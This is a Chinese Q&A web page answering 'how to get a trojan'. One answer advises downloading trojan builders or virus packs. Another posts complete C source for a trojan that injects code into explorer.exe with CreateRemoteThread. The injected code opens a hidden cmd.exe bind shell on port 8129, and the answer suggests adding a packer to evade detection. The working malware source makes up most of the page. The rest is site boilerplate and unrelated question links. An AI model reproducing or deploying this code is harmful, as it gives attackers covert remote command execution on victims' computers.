永发信息网

木马怎么得到

答案:3  悬赏:40  手机版
解决时间 2021-04-15 00:30
木马怎么得到
最佳答案
可以下载木马病毒制造器,或者直接下载病毒包
全部回答
根源就是编程编写出来的。

制造木马病毒代码大全 一个简单的木马原型基础代码

添加上自己的XXX,加上变态的壳,做点小修改,就可以..... #include<winsock2.h> #pragma comment(lib,"ws2_32.lib") #include<windows.h> #include <Shlwapi.h> #pragma comment(lib,"Shlwapi.lib") #include <tlhelp32.h> #include <stdio.h> #include <string.h>

//参数结构 ; typedef struct _RemotePara { DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox;

char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60]; }RemotePara;

// 提升应用级调试权限 BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 根据进程名称得到进程ID DWORD GetPidByName(char *szName);

// 远程线程执行体 DWORD __stdcall ThreadProc(RemotePara *Para) { WSADATA WSAData; WORD nVersion; SOCKET listenSocket; SOCKET clientSocket;

struct sockaddr_in server_addr; struct sockaddr_in client_addr;

int iAddrSize = sizeof(client_addr);

SECURITY_ATTRIBUTES sa;

HANDLE hReadPipe1; HANDLE hWritePipe1; HANDLE hReadPipe2; HANDLE hWritePipe2;

STARTUPINFO si; PROCESS_INFORMATION ProcessInformation; unsigned long lBytesRead = 0;

typedef HINSTANCE (__stdcall *PLoadLibrary)(char*); typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR); typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE ); typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);

FARPROC PMessageBoxA; FARPROC PWSAStartup; FARPROC PSocket; FARPROC Phtons; FARPROC Pbind; FARPROC Plisten; FARPROC Paccept; FARPROC Psend; FARPROC Precv; FARPROC Pclosesocket; FARPROC PCreateProcessA; FARPROC PPeekNamedPipe; FARPROC PWriteFile; FARPROC PReadFile; FARPROC PCloseHandle; FARPROC PCreatePipe; FARPROC PTerminateProcess;

PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary; PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress; PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary; PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;

LoadLibraryFunc(Para->winsockDll);

PWSAStartup = (FARPROC)Para->dwWSAStartup; PSocket = (FARPROC)Para->dwSocket; Phtons = (FARPROC)Para->dwhtons; Pbind = (FARPROC)Para->dwbind; Plisten = (FARPROC)Para->dwlisten; Paccept = (FARPROC)Para->dwaccept; Psend = (FARPROC)Para->dwsend; Precv = (FARPROC)Para->dwrecv; Pclosesocket = (FARPROC)Para->dwclosesocket; PCreateProcessA = (FARPROC)Para->dwCreateProcessA; PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe; PWriteFile = (FARPROC)Para->dwWriteFile; PReadFile = (FARPROC)Para->dwReadFile; PCloseHandle = (FARPROC)Para->dwCloseHandle; PCreatePipe = (FARPROC)Para->dwCreatePipe; PTerminateProcess = (FARPROC)Para->dwTerminateProcess; PMessageBoxA = (FARPROC)Para->dwMessageBox;

nVersion = MAKEWORd(2,1); PWSAStartup(nVersion, (LPWSADATA)&WSAData); listenSocket = PSocket(AF_INET, SOCK_STREAM, 0); if(listenSocket == INVALID_SOCKET)return 0;

server_addr.sin_family = AF_INET; server_addr.sin_port = Phtons((unsigned short)(8129)); server_addr.sin_addr.s_addr = INADDR_ANY;

if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0; if(Plisten(listenSocket, 5))return 0; clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize); // Psend(clientSocket, Para->telnetmsg, 60, 0);

if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0; if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;

ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1;

if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0; while(1) { memset(Para->Buff,0,4096); PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0); if(lBytesRead) { if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break; if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break; }else { lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0); if(lBytesRead <=0 ) break; if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break; } }

PCloseHandle(hWritePipe2); PCloseHandle(hReadPipe1); PCloseHandle(hReadPipe2); PCloseHandle(hWritePipe1); Pclosesocket(listenSocket); Pclosesocket(clientSocket);

// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);

return 0; }

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { const DWORD THREADSIZE=1024*4; DWORD byte_write; void *pRemoteThread; HANDLE hToken,hRemoteProcess,hThread; HINSTANCE hKernel,hUser32,hSock; RemotePara myRemotePara,*pRemotePara; DWORD pID;

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);

// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS pID = GetPidByName("EXPLORER.EXE"); if(pID == 0)return 0; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); if(!hRemoteProcess)return 0;

// 在远程进程地址空间分配虚拟内存 pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(!pRemoteThread)return 0;

// 将线程执行体ThreadProc写入远程进程 if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;

ZeroMemory(&myRemotePara,sizeof(RemotePara)); hKernel = LoadLibrary( "kernel32.dll"); myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary"); myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress"); myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");

myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA"); myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe"); myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile"); myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile"); myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle"); myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe"); myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");

hSock = LoadLibrary("wsock32.dll"); myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup"); myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket"); myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons"); myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind"); myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen"); myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept"); myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv"); myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send"); myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");

hUser32 = LoadLibrary("user32.dll"); myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

strcat(myRemotePara.strMessageBox,"Sucess!\\0"); strcat(myRemotePara.winsockDll,"wsock32.dll\\0"); strcat(myRemotePara.cmd,"cmd.exe\\0"); strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");

//写进目标进程 pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE); if(!pRemotePara)return 0; if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

// 启动线程 hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORd (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write); while(1) {} FreeLibrary(hKernel); FreeLibrary(hSock); FreeLibrary(hUser32); CloseHandle(hRemoteProcess); CloseHandle(hToken);

return 0; }

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){ TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); return((GetLastError() == ERROR_SUCCESS)); }

DWORD GetPidByName(char *szName) { HANDLE hProcessSnap = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe32={0}; DWORD dwRet=0;

hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;

pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0) { dwRet=pe32.th32ProcessID; break; } }while (Process32Next(hProcessSnap,&pe32)); } else return 0;

if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap); return dwRet;

我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
大众凌渡发动机是德国进口吗
忠胜建材装潢总汇在什么地方啊,我要过去处理
找一部港台的侦探破案老电视连续剧/电影,其
旧唐书•杜甫传阅读答案
流感啥时候能没有哈
有什么好听的英文歌曲?
海舞羊绒专卖店在什么地方啊,我要过去处理事
创新创业口号集锦,马云创业的口号是什么
下图表示海水盐分中各成分的质量分数.请据图
一;龙骨上蒙的一层足尺柳桉芯九厘板后再上石
视康眼镜专业店在哪里啊,我有事要去这个地方
我像换显卡 这主板适合什么显卡
x的立方-1等于多少
下列各组词语在文中的意思,解释错误的一项是
11月8日是什么星座
推荐资讯
南月口我想知道这个在什么地方
唐山俗称的燕棒鱼是不是沙丁鱼啊!如果不是学
绘制表格的方法步骤
和不喜欢的男友聊什么
一个女朋友,和我谈了一个星期了,后来又回到
战斗法师觉醒了能刷大将伊埃?
征途,说说带小号刷绑银的具体方法?申多少号
整车河沙方数怎么算
梦幻西游房子有没双倍经验?说 详细点
求助,好急好急,CPU是不是被锁频了
oppor9如何设置体感拨号
订车单上最后写了一句(可能16年或17年出厂)
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?